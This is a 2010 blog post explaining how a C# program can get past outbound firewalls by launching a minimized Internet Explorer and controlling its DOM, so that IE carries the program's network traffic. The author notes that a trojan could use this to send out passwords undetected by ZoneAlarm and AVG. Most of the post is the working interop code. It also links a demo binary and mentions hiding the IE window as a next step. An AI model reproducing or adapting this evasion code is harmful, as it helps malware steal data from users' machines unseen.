Friday, September 24, 2010

C#: How to bypass firewall

Firewalls like ZoneAlarm are supposed to be able to block outgoing connections of unknown programs. So for example, if I was careless and installed a malware, then at least it won't be able to send my passwords list to someone over the internet.
Couple of years ago I tried to think about how to bypass that, and after a while I came up with this simple trick that works regardless of the firewall software, i.e. it does not alter the firewall.
Many users use Internet Explorer, so usually it has access through the firewall by default. It only remains to take control over it from C#, and that's exactly what I did using this magical API function: ObjectFromLresult. It might be funny to see a trojan horse written entirely using GET requests, but on the other hand it scares me a little bit because for example ZoneAlarm and AVG couldn't detect it.
I wrote a small C# application to prove my point. You can download it from here:
http://www.megaupload.com/?d=9W17LLP4
It has 2 buttons: the first button attempts to make a normal HttpWebRequest, and tells you whether it succeeded or failed. If it failed, then probably your firewall is blocking the application. In that case you may want to try the second button.
This is the code that creates a new Internet Explorer instance and gets the DOM object from it:
(I found it on the internet)

Code:
[DllImport("user32.dll", EntryPoint = "GetClassNameA")]
public static extern int GetClassName(IntPtr hwnd, StringBuilder lpClassName, int nMaxCount);
public delegate int EnumProc(IntPtr hWnd, ref IntPtr lParam);
[DllImport("user32.dll")]
public static extern int EnumChildWindows(IntPtr hWndParent, EnumProc lpEnumFunc, ref  IntPtr lParam);
[DllImport("user32.dll", EntryPoint = "RegisterWindowMessageA")]
public static extern int RegisterWindowMessage(string lpString);
[DllImport("user32.dll", EntryPoint = "SendMessageTimeoutA")]
public static extern int SendMessageTimeout(IntPtr hwnd, int msg, int wParam, int lParam, int fuFlags, int uTimeout, out int lpdwResult);
[DllImport("OLEACC.dll")]
public static extern int ObjectFromLresult(int lResult, ref Guid riid, int wParam, ref IHTMLDocument2 ppvObject);
public const int SMTO_ABORTIFHUNG = 0x2;
public Guid IID_IHTMLDocument = typeof(mshtml.IHTMLDocument).GUID;

public Process process = null;
public IHTMLDocument2 document;

public IHTMLDocument2 documentFromDOM(string url)
{
    process = new Process();
    process.StartInfo.FileName = "iexplore.exe";
    process.StartInfo.WindowStyle = ProcessWindowStyle.Minimized;
    process.StartInfo.Arguments = url;
    process.Start();
    IntPtr hWnd = IntPtr.Zero;
    do
    {
        Thread.Sleep(3000);
    } while ((hWnd = process.MainWindowHandle) == IntPtr.Zero);
    int lngMsg = 0;
    int lRes;
    IntPtr document_hWnd;
    EnumProc proc = new EnumProc(EnumWindows);
    EnumChildWindows(hWnd, proc, ref hWnd);
    if (!hWnd.Equals(IntPtr.Zero))
    {
        lngMsg = RegisterWindowMessage("WM_HTML_GETOBJECT");
        if (lngMsg != 0)
        {
            SendMessageTimeout(hWnd, lngMsg, 0, 0, SMTO_ABORTIFHUNG, 1000, out lRes);
            if (!(bool)(lRes == 0))
            {
                document_hWnd = hWnd;
                int hr = ObjectFromLresult(lRes, ref IID_IHTMLDocument, 0, ref document);
                if (document == null)
                {
                    MessageBox.Show("No IHTMLDocument Found!");
                }
            }
        }
    }
    return document;
}

public int EnumWindows(IntPtr hWnd, ref IntPtr lParam)
{
    int retVal = 1;
    StringBuilder classname = new StringBuilder(128);
    GetClassName(hWnd, classname, classname.Capacity);
    if (classname.ToString() == "Internet Explorer_Server")
    {
        lParam = hWnd;
        retVal = 0;
    }
    return retVal;
}

Notes:
The user can see the Internet Explorer at the taskbar, and the Thread.Sleep is weird, but both can be fixed sometime.